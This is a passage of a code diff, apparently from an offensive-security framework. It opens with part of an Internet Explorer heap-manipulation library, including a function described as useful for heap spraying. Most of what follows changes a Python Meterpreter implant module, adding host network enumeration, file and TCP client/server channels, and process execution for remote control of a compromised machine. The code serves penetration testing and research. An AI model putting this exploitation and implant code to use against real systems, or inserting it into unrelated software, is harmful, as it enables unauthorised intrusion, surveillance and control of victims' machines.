//make sure the aval is a string
|
||||||
|
if(typeof val != "string")
|
||||||
|
throw "alloc.argument: val is not a string";
|
||||||
|
|
||||||
|
var size = (val.length * 2) + 6;
|
||||||
|
|
||||||
|
if(size > this.maxAlloc)
|
||||||
|
throw "alloc_nobstr.val: string length cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
|
||||||
|
|
||||||
|
var i = 0;
|
||||||
|
var set_gattr = 0;
|
||||||
|
for(i = 0; i < global_attrs.length; i++)
|
||||||
|
{
|
||||||
|
curr_gattr = global_attrs[i];
|
||||||
|
if(!this.element.getAttribute(curr_gattr))
|
||||||
|
{
|
||||||
|
this.element.setAttribute(curr_gattr, "");
|
||||||
|
this.element.setAttribute(curr_gattr, val);
|
||||||
|
set_gattr = 1;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if(set_gattr == 0)
|
||||||
|
throw "alloc_nobstr: all global attributes are assigned, try a new element";
|
||||||
|
}
|
||||||
|
|
||||||
|
//completely bypass the cache, useful for heap spraying (see heapLib2_test.html)
|
||||||
|
heapLib2.ie.prototype.sprayalloc = function(attr_name, str)
|
||||||
|
{
|
||||||
|
//make sure the attribute name is a string
|
||||||
|
if(typeof attr_name != "string")
|
||||||
|
throw "alloc.argument: attr_name is not a string";
|
||||||
|
|
||||||
|
//make sure that the attribute name is not already present in the html element
|
||||||
|
if(this.element.getAttribute(attr_name))
|
||||||
|
throw "alloc.argument: element already contains attr_name: " + attr_name;
|
||||||
|
|
||||||
|
//ensure the size is a number
|
||||||
|
if(typeof str != "string")
|
||||||
|
throw "alloc.argument: str is not a string: " + typeof str;
|
||||||
|
|
||||||
|
var size = (str.length * 2) + 6;
|
||||||
|
|
||||||
|
//make sure the size isn't one of the special values
|
||||||
|
if(size <= 0x8000)
|
||||||
|
throw "alloc.argument: bigalloc must be greater than 0x8000: " + size;
|
||||||
|
|
||||||
|
if(size > this.maxAlloc)
|
||||||
|
throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
|
||||||
|
|
||||||
|
var attr = document.createAttribute(attr_name);
|
||||||
|
this.element.setAttributeNode(attr);
|
||||||
|
this.element.setAttribute(attr_name, str);
|
||||||
|
}
|
||||||
|
|
||||||
|
heapLib2.ie.prototype.free = function(attr_name, skip_flush)
|
||||||
|
{
|
||||||
|
if(typeof(skip_flush)==='undefined')
|
||||||
|
skip_flush = false;
|
||||||
|
else
|
||||||
|
skip_flush = true;
|
||||||
|
|
||||||
|
//make sure that an HTML DOM element is passed
|
||||||
|
if(!this.element.nodeType || this.element.nodeType != 1)
|
||||||
|
throw "alloc.argument: element not valid";
|
||||||
|
|
||||||
|
//make sure the attribute name is a string
|
||||||
|
if(typeof attr_name != "string")
|
||||||
|
throw "alloc.argument: attr_name is not a string";
|
||||||
|
|
||||||
|
//make sure that the attribute name is not already present in the html element
|
||||||
|
if(!this.element.getAttribute(attr_name))
|
||||||
|
throw "alloc.argument: element does not contain attribute: " + attr_name;
|
||||||
|
|
||||||
|
//make sure the cache is full so the chunk returns the general purpose heap
|
||||||
|
if(!skip_flush)
|
||||||
|
this.Oleaut32FillCache();
|
||||||
|
|
||||||
|
this.element.setAttribute(attr_name, null);
|
||||||
|
|
||||||
|
if(!skip_flush)
|
||||||
|
this.Oleaut32EmptyCache()
|
||||||
|
}
|
||||||
|
|
||||||
|
heapLib2.ie.prototype.Oleaut32FillCache = function()
|
||||||
|
{
|
||||||
|
for(var i = 0; i < 6; i++)
|
||||||
|
{
|
||||||
|
this.free("cache0x20"+i, true);
|
||||||
|
this.free("cache0x40"+i, true);
|
||||||
|
this.free("cache0x100"+i, true);
|
||||||
|
this.free("cache0x8000"+i, true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
heapLib2.ie.prototype.Oleaut32EmptyCache = function()
|
||||||
|
{
|
||||||
|
for(var i = 0; i < 6; i++)
|
||||||
|
{
|
||||||
|
this.alloc("cache0x20"+i, 0x20, true);
|
||||||
|
this.alloc("cache0x40"+i, 0x40, true);
|
||||||
|
this.alloc("cache0x100"+i, 0x100, true);
|
||||||
|
this.alloc("cache0x8000"+i, 0x8000, true);
|
||||||
|
}
|
||||||
|
}
|
|
@ -1,10 +1,18 @@
|
||||||
function postInfo(path, data) {
|
function postInfo(path, data, cb) {
|
||||||
var xmlHttp = new XMLHttpRequest();
|
var xmlHttp = new XMLHttpRequest();
|
||||||
|
|
||||||
if (xmlHttp.overrideMimeType) {
|
if (xmlHttp.overrideMimeType) {
|
||||||
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
|
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
|
||||||
}
|
}
|
||||||
|
|
||||||
xmlHttp.open('POST', path, false);
|
xmlHttp.open('POST', path, !!cb);
|
||||||
xmlHttp.send(data);
|
|
||||||
|
if (cb) {
|
||||||
|
xmlHttp.onreadystatechange = function() {
|
||||||
|
if (xmlHttp.readyState == 4) { cb.apply(this, arguments); }
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
xmlHttp.send(data);
|
||||||
|
return xmlHttp;
|
||||||
}
|
}
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -1,4 +1,3 @@
|
||||||
import ctypes
|
|
||||||
import fnmatch
|
import fnmatch
|
||||||
import getpass
|
import getpass
|
||||||
import os
|
import os
|
||||||
|
@ -9,8 +8,15 @@ import socket
|
||||||
import struct
|
import struct
|
||||||
import subprocess
|
import subprocess
|
||||||
import sys
|
import sys
|
||||||
|
import time
|
||||||
|
|
||||||
|
try:
|
||||||
|
import ctypes
|
||||||
|
has_ctypes = True
|
||||||
has_windll = hasattr(ctypes, 'windll')
|
has_windll = hasattr(ctypes, 'windll')
|
||||||
|
except ImportError:
|
||||||
|
has_ctypes = False
|
||||||
|
has_windll = False
|
||||||
|
|
||||||
try:
|
try:
|
||||||
import pty
|
import pty
|
||||||
|
@ -24,6 +30,12 @@ try:
|
||||||
except ImportError:
|
except ImportError:
|
||||||
has_pwd = False
|
has_pwd = False
|
||||||
|
|
||||||
|
try:
|
||||||
|
import SystemConfiguration as osxsc
|
||||||
|
has_osxsc = True
|
||||||
|
except ImportError:
|
||||||
|
has_osxsc = False
|
||||||
|
|
||||||
try:
|
try:
|
||||||
import termios
|
import termios
|
||||||
has_termios = True
|
has_termios = True
|
||||||
|
@ -36,6 +48,144 @@ try:
|
||||||
except ImportError:
|
except ImportError:
|
||||||
has_winreg = False
|
has_winreg = False
|
||||||
|
|
||||||
|
try:
|
||||||
|
import winreg
|
||||||
|
has_winreg = True
|
||||||
|
except ImportError:
|
||||||
|
has_winreg = (has_winreg or False)
|
||||||
|
|
||||||
|
if sys.version_info[0] < 3:
|
||||||
|
is_str = lambda obj: issubclass(obj.__class__, str)
|
||||||
|
is_bytes = lambda obj: issubclass(obj.__class__, str)
|
||||||
|
bytes = lambda *args: str(*args[:1])
|
||||||
|
NULL_BYTE = '\x00'
|
||||||
|
else:
|
||||||
|
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
|
||||||
|
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
||||||
|
str = lambda x: __builtins__['str'](x, 'UTF-8')
|
||||||
|
NULL_BYTE = bytes('\x00', 'UTF-8')
|
||||||
|
long = int
|
||||||
|
|
||||||
|
if has_ctypes:
|
||||||
|
#
|
||||||
|
# Windows Structures
|
||||||
|
#
|
||||||
|
class SOCKADDR(ctypes.Structure):
|
||||||
|
_fields_ = [("sa_family", ctypes.c_ushort),
|
||||||
|
("sa_data", (ctypes.c_uint8 * 14))]
|
||||||
|
|
||||||
|
class SOCKET_ADDRESS(ctypes.Structure):
|
||||||
|
_fields_ = [("lpSockaddr", ctypes.POINTER(SOCKADDR)),
|
||||||
|
("iSockaddrLength", ctypes.c_int)]
|
||||||
|
|
||||||
|
class IP_ADAPTER_UNICAST_ADDRESS(ctypes.Structure):
|
||||||
|
_fields_ = [
|
||||||
|
("s", type(
|
||||||
|
'_s_IP_ADAPTER_UNICAST_ADDRESS',
|
||||||
|
(ctypes.Structure,),
|
||||||
|
dict(_fields_ = [
|
||||||
|
("Length", ctypes.c_ulong),
|
||||||
|
("Flags", ctypes.c_uint32)
|
||||||
|
])
|
||||||
|
)),
|
||||||
|
("Next", ctypes.c_void_p),
|
||||||
|
("Address", SOCKET_ADDRESS),
|
||||||
|
("PrefixOrigin", ctypes.c_uint32),
|
||||||
|
("SuffixOrigin", ctypes.c_uint32),
|
||||||
|
("DadState", ctypes.c_uint32),
|
||||||
|
("ValidLifetime", ctypes.c_ulong),
|
||||||
|
("PreferredLifetime", ctypes.c_ulong),
|
||||||
|
("LeaseLifetime", ctypes.c_ulong),
|
||||||
|
("OnLinkPrefixLength", ctypes.c_uint8)]
|
||||||
|
|
||||||
|
class IP_ADAPTER_ADDRESSES(ctypes.Structure):
|
||||||
|
_fields_ = [
|
||||||
|
("u", type(
|
||||||
|
'_u_IP_ADAPTER_ADDRESSES',
|
||||||
|
(ctypes.Union,),
|
||||||
|
dict(_fields_ = [
|
||||||
|
("Alignment", ctypes.c_ulonglong),
|
||||||
|
("s", type(
|
||||||
|
'_s_IP_ADAPTER_ADDRESSES',
|
||||||
|
(ctypes.Structure,),
|
||||||
|
dict(_fields_ = [
|
||||||
|
("Length", ctypes.c_ulong),
|
||||||
|
("IfIndex", ctypes.c_uint32)
|
||||||
|
])
|
||||||
|
))
|
||||||
|
])
|
||||||
|
)),
|
||||||
|
("Next", ctypes.c_void_p),
|
||||||
|
("AdapterName", ctypes.c_char_p),
|
||||||
|
("FirstUnicastAddress", ctypes.c_void_p),
|
||||||
|
("FirstAnycastAddress", ctypes.c_void_p),
|
||||||
|
("FirstMulticastAddress", ctypes.c_void_p),
|
||||||
|
("FirstDnsServerAddress", ctypes.c_void_p),
|
||||||
|
("DnsSuffix", ctypes.c_wchar_p),
|
||||||
|
("Description", ctypes.c_wchar_p),
|
||||||
|
("FriendlyName", ctypes.c_wchar_p),
|
||||||
|
("PhysicalAddress", (ctypes.c_uint8 * 8)),
|
||||||
|
("PhysicalAddressLength", ctypes.c_uint32),
|
||||||
|
("Flags", ctypes.c_uint32),
|
||||||
|
("Mtu", ctypes.c_uint32),
|
||||||
|
("IfType", ctypes.c_uint32),
|
||||||
|
("OperStatus", ctypes.c_uint32),
|
||||||
|
("Ipv6IfIndex", ctypes.c_uint32),
|
||||||
|
("ZoneIndices", (ctypes.c_uint32 * 16)),
|
||||||
|
("FirstPrefix", ctypes.c_void_p),
|
||||||
|
("TransmitLinkSpeed", ctypes.c_uint64),
|
||||||
|
("ReceiveLinkSpeed", ctypes.c_uint64),
|
||||||
|
("FirstWinsServerAddress", ctypes.c_void_p),
|
||||||
|
("FirstGatewayAddress", ctypes.c_void_p),
|
||||||
|
("Ipv4Metric", ctypes.c_ulong),
|
||||||
|
("Ipv6Metric", ctypes.c_ulong),
|
||||||
|
("Luid", ctypes.c_uint64),
|
||||||
|
("Dhcpv4Server", SOCKET_ADDRESS),
|
||||||
|
("CompartmentId", ctypes.c_uint32),
|
||||||
|
("NetworkGuid", (ctypes.c_uint8 * 16)),
|
||||||
|
("ConnectionType", ctypes.c_uint32),
|
||||||
|
("TunnelType", ctypes.c_uint32),
|
||||||
|
("Dhcpv6Server", SOCKET_ADDRESS),
|
||||||
|
("Dhcpv6ClientDuid", (ctypes.c_uint8 * 130)),
|
||||||
|
("Dhcpv6ClientDuidLength", ctypes.c_ulong),
|
||||||
|
("Dhcpv6Iaid", ctypes.c_ulong),
|
||||||
|
("FirstDnsSuffix", ctypes.c_void_p)]
|
||||||
|
|
||||||
|
class MIB_IFROW(ctypes.Structure):
|
||||||
|
_fields_ = [("wszName", (ctypes.c_wchar * 256)),
|
||||||
|
("dwIndex", ctypes.c_uint32),
|
||||||
|
("dwType", ctypes.c_uint32),
|
||||||
|
("dwMtu", ctypes.c_uint32),
|
||||||
|
("dwSpeed", ctypes.c_uint32),
|
||||||
|
("dwPhysAddrLen", ctypes.c_uint32),
|
||||||
|
("bPhysAddr", (ctypes.c_uint8 * 8)),
|
||||||
|
("dwAdminStatus", ctypes.c_uint32),
|
||||||
|
("dwOperStaus", ctypes.c_uint32),
|
||||||
|
("dwLastChange", ctypes.c_uint32),
|
||||||
|
("dwInOctets", ctypes.c_uint32),
|
||||||
|
("dwInUcastPkts", ctypes.c_uint32),
|
||||||
|
("dwInNUcastPkts", ctypes.c_uint32),
|
||||||
|
("dwInDiscards", ctypes.c_uint32),
|
||||||
|
("dwInErrors", ctypes.c_uint32),
|
||||||
|
("dwInUnknownProtos", ctypes.c_uint32),
|
||||||
|
("dwOutOctets", ctypes.c_uint32),
|
||||||
|
("dwOutUcastPkts", ctypes.c_uint32),
|
||||||
|
("dwOutNUcastPkts", ctypes.c_uint32),
|
||||||
|
("dwOutDiscards", ctypes.c_uint32),
|
||||||
|
("dwOutErrors", ctypes.c_uint32),
|
||||||
|
("dwOutQLen", ctypes.c_uint32),
|
||||||
|
("dwDescrLen", ctypes.c_uint32),
|
||||||
|
("bDescr", (ctypes.c_char * 256))]
|
||||||
|
|
||||||
|
class MIB_IPADDRROW(ctypes.Structure):
|
||||||
|
_fields_ = [("dwAddr", ctypes.c_uint32),
|
||||||
|
("dwIndex", ctypes.c_uint32),
|
||||||
|
("dwMask", ctypes.c_uint32),
|
||||||
|
("dwBCastAddr", ctypes.c_uint32),
|
||||||
|
("dwReasmSize", ctypes.c_uint32),
|
||||||
|
("unused1", ctypes.c_uint16),
|
||||||
|
("wType", ctypes.c_uint16)]
|
||||||
|
|
||||||
class PROCESSENTRY32(ctypes.Structure):
|
class PROCESSENTRY32(ctypes.Structure):
|
||||||
_fields_ = [("dwSize", ctypes.c_uint32),
|
_fields_ = [("dwSize", ctypes.c_uint32),
|
||||||
("cntUsage", ctypes.c_uint32),
|
("cntUsage", ctypes.c_uint32),
|
||||||
|
@ -48,6 +198,10 @@ class PROCESSENTRY32(ctypes.Structure):
|
||||||
("dwFlags", ctypes.c_uint32),
|
("dwFlags", ctypes.c_uint32),
|
||||||
("szExeFile", (ctypes.c_char * 260))]
|
("szExeFile", (ctypes.c_char * 260))]
|
||||||
|
|
||||||
|
class SID_AND_ATTRIBUTES(ctypes.Structure):
|
||||||
|
_fields_ = [("Sid", ctypes.c_void_p),
|
||||||
|
("Attributes", ctypes.c_uint32)]
|
||||||
|
|
||||||
class SYSTEM_INFO(ctypes.Structure):
|
class SYSTEM_INFO(ctypes.Structure):
|
||||||
_fields_ = [("wProcessorArchitecture", ctypes.c_uint16),
|
_fields_ = [("wProcessorArchitecture", ctypes.c_uint16),
|
||||||
("wReserved", ctypes.c_uint16),
|
("wReserved", ctypes.c_uint16),
|
||||||
|
@ -59,15 +213,36 @@ class SYSTEM_INFO(ctypes.Structure):
|
||||||
("dwProcessorType", ctypes.c_uint32),
|
("dwProcessorType", ctypes.c_uint32),
|
||||||
("dwAllocationGranularity", ctypes.c_uint32),
|
("dwAllocationGranularity", ctypes.c_uint32),
|
||||||
("wProcessorLevel", ctypes.c_uint16),
|
("wProcessorLevel", ctypes.c_uint16),
|
||||||
("wProcessorRevision", ctypes.c_uint16),]
|
("wProcessorRevision", ctypes.c_uint16)]
|
||||||
|
|
||||||
class SID_AND_ATTRIBUTES(ctypes.Structure):
|
#
|
||||||
_fields_ = [("Sid", ctypes.c_void_p),
|
# Linux Structures
|
||||||
("Attributes", ctypes.c_uint32),]
|
#
|
||||||
|
class IFADDRMSG(ctypes.Structure):
|
||||||
|
_fields_ = [("family", ctypes.c_uint8),
|
||||||
|
("prefixlen", ctypes.c_uint8),
|
||||||
|
("flags", ctypes.c_uint8),
|
||||||
|
("scope", ctypes.c_uint8),
|
||||||
|
("index", ctypes.c_int32)]
|
||||||
|
|
||||||
##
|
class IFINFOMSG(ctypes.Structure):
|
||||||
# STDAPI
|
_fields_ = [("family", ctypes.c_uint8),
|
||||||
##
|
("pad", ctypes.c_int8),
|
||||||
|
("type", ctypes.c_uint16),
|
||||||
|
("index", ctypes.c_int32),
|
||||||
|
("flags", ctypes.c_uint32),
|
||||||
|
("chagen", ctypes.c_uint32)]
|
||||||
|
|
||||||
|
class NLMSGHDR(ctypes.Structure):
|
||||||
|
_fields_ = [("len", ctypes.c_uint32),
|
||||||
|
("type", ctypes.c_uint16),
|
||||||
|
("flags", ctypes.c_uint16),
|
||||||
|
("seq", ctypes.c_uint32),
|
||||||
|
("pid", ctypes.c_uint32)]
|
||||||
|
|
||||||
|
class RTATTR(ctypes.Structure):
|
||||||
|
_fields_ = [("len", ctypes.c_uint16),
|
||||||
|
("type", ctypes.c_uint16)]
|
||||||
|
|
||||||
#
|
#
|
||||||
# TLV Meta Types
|
# TLV Meta Types
|
||||||
|
@ -135,16 +310,21 @@ TLV_TYPE_SEARCH_RESULTS = TLV_META_TYPE_GROUP | 1233
|
||||||
##
|
##
|
||||||
TLV_TYPE_HOST_NAME = TLV_META_TYPE_STRING | 1400
|
TLV_TYPE_HOST_NAME = TLV_META_TYPE_STRING | 1400
|
||||||
TLV_TYPE_PORT = TLV_META_TYPE_UINT | 1401
|
TLV_TYPE_PORT = TLV_META_TYPE_UINT | 1401
|
||||||
|
TLV_TYPE_INTERFACE_MTU = TLV_META_TYPE_UINT | 1402
|
||||||
|
TLV_TYPE_INTERFACE_FLAGS = TLV_META_TYPE_STRING | 1403
|
||||||
|
TLV_TYPE_INTERFACE_INDEX = TLV_META_TYPE_UINT | 1404
|
||||||
|
|
||||||
TLV_TYPE_SUBNET = TLV_META_TYPE_RAW | 1420
|
TLV_TYPE_SUBNET = TLV_META_TYPE_RAW | 1420
|
||||||
TLV_TYPE_NETMASK = TLV_META_TYPE_RAW | 1421
|
TLV_TYPE_NETMASK = TLV_META_TYPE_RAW | 1421
|
||||||
TLV_TYPE_GATEWAY = TLV_META_TYPE_RAW | 1422
|
TLV_TYPE_GATEWAY = TLV_META_TYPE_RAW | 1422
|
||||||
TLV_TYPE_NETWORK_ROUTE = TLV_META_TYPE_GROUP | 1423
|
TLV_TYPE_NETWORK_ROUTE = TLV_META_TYPE_GROUP | 1423
|
||||||
|
TLV_TYPE_IP_PREFIX = TLV_META_TYPE_UINT | 1424
|
||||||
|
|
||||||
TLV_TYPE_IP = TLV_META_TYPE_RAW | 1430
|
TLV_TYPE_IP = TLV_META_TYPE_RAW | 1430
|
||||||
TLV_TYPE_MAC_ADDRESS = TLV_META_TYPE_RAW | 1431
|
TLV_TYPE_MAC_ADDRESS = TLV_META_TYPE_RAW | 1431
|
||||||
TLV_TYPE_MAC_NAME = TLV_META_TYPE_STRING | 1432
|
TLV_TYPE_MAC_NAME = TLV_META_TYPE_STRING | 1432
|
||||||
TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433
|
TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433
|
||||||
|
TLV_TYPE_IP6_SCOPE = TLV_META_TYPE_RAW | 1434
|
||||||
|
|
||||||
TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440
|
TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440
|
||||||
TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441
|
TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441
|
||||||
|
@ -290,9 +470,39 @@ ERROR_FAILURE = 1
|
||||||
# errors.
|
# errors.
|
||||||
ERROR_CONNECTION_ERROR = 10000
|
ERROR_CONNECTION_ERROR = 10000
|
||||||
|
|
||||||
|
# Windows Constants
|
||||||
|
GAA_FLAG_SKIP_ANYCAST = 0x0002
|
||||||
|
GAA_FLAG_SKIP_MULTICAST = 0x0004
|
||||||
|
GAA_FLAG_INCLUDE_PREFIX = 0x0010
|
||||||
|
GAA_FLAG_SKIP_DNS_SERVER = 0x0080
|
||||||
|
|
||||||
WIN_AF_INET = 2
|
WIN_AF_INET = 2
|
||||||
WIN_AF_INET6 = 23
|
WIN_AF_INET6 = 23
|
||||||
|
|
||||||
|
# Linux Constants
|
||||||
|
RTM_GETLINK = 18
|
||||||
|
RTM_GETADDR = 22
|
||||||
|
RTM_GETROUTE = 26
|
||||||
|
|
||||||
|
IFLA_ADDRESS = 1
|
||||||
|
IFLA_BROADCAST = 2
|
||||||
|
IFLA_IFNAME = 3
|
||||||
|
IFLA_MTU = 4
|
||||||
|
|
||||||
|
IFA_ADDRESS = 1
|
||||||
|
IFA_LABEL = 3
|
||||||
|
|
||||||
|
def calculate_32bit_netmask(bits):
|
||||||
|
if bits == 32:
|
||||||
|
return 0xffffffff
|
||||||
|
return ((0xffffffff << (32-(bits%32))) & 0xffffffff)
|
||||||
|
|
||||||
|
def cstruct_unpack(structure, raw_data):
|
||||||
|
if not isinstance(structure, ctypes.Structure):
|
||||||
|
structure = structure()
|
||||||
|
ctypes.memmove(ctypes.byref(structure), raw_data, ctypes.sizeof(structure))
|
||||||
|
return structure
|
||||||
|
|
||||||
def get_stat_buffer(path):
|
def get_stat_buffer(path):
|
||||||
si = os.stat(path)
|
si = os.stat(path)
|
||||||
rdev = 0
|
rdev = 0
|
||||||
|
@ -306,24 +516,43 @@ def get_stat_buffer(path):
|
||||||
blocks = si.st_blocks
|
blocks = si.st_blocks
|
||||||
st_buf = struct.pack('<IHHH', si.st_dev, min(0xffff, si.st_ino), si.st_mode, si.st_nlink)
|
st_buf = struct.pack('<IHHH', si.st_dev, min(0xffff, si.st_ino), si.st_mode, si.st_nlink)
|
||||||
st_buf += struct.pack('<HHHI', si.st_uid, si.st_gid, 0, rdev)
|
st_buf += struct.pack('<HHHI', si.st_uid, si.st_gid, 0, rdev)
|
||||||
st_buf += struct.pack('<IIII', si.st_size, si.st_atime, si.st_mtime, si.st_ctime)
|
st_buf += struct.pack('<IIII', si.st_size, long(si.st_atime), long(si.st_mtime), long(si.st_ctime))
|
||||||
st_buf += struct.pack('<II', blksize, blocks)
|
st_buf += struct.pack('<II', blksize, blocks)
|
||||||
return st_buf
|
return st_buf
|
||||||
|
|
||||||
def inet_pton(family, address):
|
def netlink_request(req_type):
|
||||||
if hasattr(socket, 'inet_pton'):
|
import select
|
||||||
return socket.inet_pton(family, address)
|
# See RFC 3549
|
||||||
elif has_windll:
|
NLM_F_REQUEST = 0x0001
|
||||||
WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA
|
NLM_F_ROOT = 0x0100
|
||||||
lpAddress = (ctypes.c_ubyte * 28)()
|
NLMSG_ERROR = 0x0002
|
||||||
lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress))
|
NLMSG_DONE = 0x0003
|
||||||
if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0:
|
|
||||||
raise Exception('WSAStringToAddress failed')
|
sock = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, socket.NETLINK_ROUTE)
|
||||||
if family == socket.AF_INET:
|
sock.bind((os.getpid(), 0))
|
||||||
return ''.join(map(chr, lpAddress[4:8]))
|
seq = int(time.time())
|
||||||
elif family == socket.AF_INET6:
|
nlmsg = struct.pack('IHHIIB15x', 32, req_type, (NLM_F_REQUEST | NLM_F_ROOT), seq, 0, socket.AF_UNSPEC)
|
||||||
return ''.join(map(chr, lpAddress[8:24]))
|
sock.send(nlmsg)
|
||||||
raise Exception('no suitable inet_pton functionality is available')
|
responses = []
|
||||||
|
if not len(select.select([sock.fileno()], [], [], 0.5)[0]):
|
||||||
|
return responses
|
||||||
|
raw_response_data = sock.recv(0xfffff)
|
||||||
|
response = cstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)])
|
||||||
|
raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):]
|
||||||
|
while response.type != NLMSG_DONE:
|
||||||
|
if response.type == NLMSG_ERROR:
|
||||||
|
break
|
||||||
|
response_data = raw_response_data[:(response.len - 16)]
|
||||||
|
responses.append(response_data)
|
||||||
|
raw_response_data = raw_response_data[len(response_data):]
|
||||||
|
if not len(raw_response_data):
|
||||||
|
if not len(select.select([sock.fileno()], [], [], 0.5)[0]):
|
||||||
|
break
|
||||||
|
raw_response_data = sock.recv(0xfffff)
|
||||||
|
response = cstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)])
|
||||||
|
raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):]
|
||||||
|
sock.close()
|
||||||
|
return responses
|
||||||
|
|
||||||
def resolve_host(hostname, family):
|
def resolve_host(hostname, family):
|
||||||
address_info = socket.getaddrinfo(hostname, 0, family, socket.SOCK_DGRAM, socket.IPPROTO_UDP)[0]
|
address_info = socket.getaddrinfo(hostname, 0, family, socket.SOCK_DGRAM, socket.IPPROTO_UDP)[0]
|
||||||
|
@ -338,8 +567,17 @@ def windll_GetNativeSystemInfo():
|
||||||
ctypes.windll.kernel32.GetNativeSystemInfo(ctypes.byref(sysinfo))
|
ctypes.windll.kernel32.GetNativeSystemInfo(ctypes.byref(sysinfo))
|
||||||
return {0:PROCESS_ARCH_X86, 6:PROCESS_ARCH_IA64, 9:PROCESS_ARCH_X64}.get(sysinfo.wProcessorArchitecture, PROCESS_ARCH_UNKNOWN)
|
return {0:PROCESS_ARCH_X86, 6:PROCESS_ARCH_IA64, 9:PROCESS_ARCH_X64}.get(sysinfo.wProcessorArchitecture, PROCESS_ARCH_UNKNOWN)
|
||||||
|
|
||||||
|
def windll_GetVersion():
|
||||||
|
if not has_windll:
|
||||||
|
return None
|
||||||
|
dwVersion = ctypes.windll.kernel32.GetVersion()
|
||||||
|
dwMajorVersion = (dwVersion & 0x000000ff)
|
||||||
|
dwMinorVersion = ((dwVersion & 0x0000ff00) >> 8)
|
||||||
|
dwBuild = ((dwVersion & 0xffff0000) >> 16)
|
||||||
|
return type('Version', (object,), dict(dwMajorVersion = dwMajorVersion, dwMinorVersion = dwMinorVersion, dwBuild = dwBuild))
|
||||||
|
|
||||||
@meterpreter.register_function
|
@meterpreter.register_function
|
||||||
def channel_create_stdapi_fs_file(request, response):
|
def channel_open_stdapi_fs_file(request, response):
|
||||||
fpath = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
fpath = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||||
fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE)
|
fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE)
|
||||||
if fmode:
|
if fmode:
|
||||||
|
@ -348,12 +586,12 @@ def channel_create_stdapi_fs_file(request, response):
|
||||||
else:
|
else:
|
||||||
fmode = 'rb'
|
fmode = 'rb'
|
||||||
file_h = open(fpath, fmode)
|
file_h = open(fpath, fmode)
|
||||||
channel_id = meterpreter.add_channel(file_h)
|
channel_id = meterpreter.add_channel(MeterpreterFile(file_h))
|
||||||
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
@meterpreter.register_function
|
@meterpreter.register_function
|
||||||
def channel_create_stdapi_net_tcp_client(request, response):
|
def channel_open_stdapi_net_tcp_client(request, response):
|
||||||
host = packet_get_tlv(request, TLV_TYPE_PEER_HOST)['value']
|
host = packet_get_tlv(request, TLV_TYPE_PEER_HOST)['value']
|
||||||
port = packet_get_tlv(request, TLV_TYPE_PEER_PORT)['value']
|
port = packet_get_tlv(request, TLV_TYPE_PEER_PORT)['value']
|
||||||
local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST)
|
local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST)
|
||||||
|
@ -373,7 +611,19 @@ def channel_create_stdapi_net_tcp_client(request, response):
|
||||||
pass
|
pass
|
||||||
if not connected:
|
if not connected:
|
||||||
return ERROR_CONNECTION_ERROR, response
|
return ERROR_CONNECTION_ERROR, response
|
||||||
channel_id = meterpreter.add_channel(sock)
|
channel_id = meterpreter.add_channel(MeterpreterSocketClient(sock))
|
||||||
|
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||||
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@meterpreter.register_function
|
||||||
|
def channel_open_stdapi_net_tcp_server(request, response):
|
||||||
|
local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST).get('value', '0.0.0.0')
|
||||||
|
local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT)['value']
|
||||||
|
server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||||
|
server_sock.bind((local_host, local_port))
|
||||||
|
server_sock.listen(socket.SOMAXCONN)
|
||||||
|
channel_id = meterpreter.add_channel(MeterpreterSocketServer(server_sock))
|
||||||
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
|
@ -452,6 +702,7 @@ def stdapi_sys_process_execute(request, response):
|
||||||
proc_h.stderr = open(os.devnull, 'rb')
|
proc_h.stderr = open(os.devnull, 'rb')
|
||||||
else:
|
else:
|
||||||
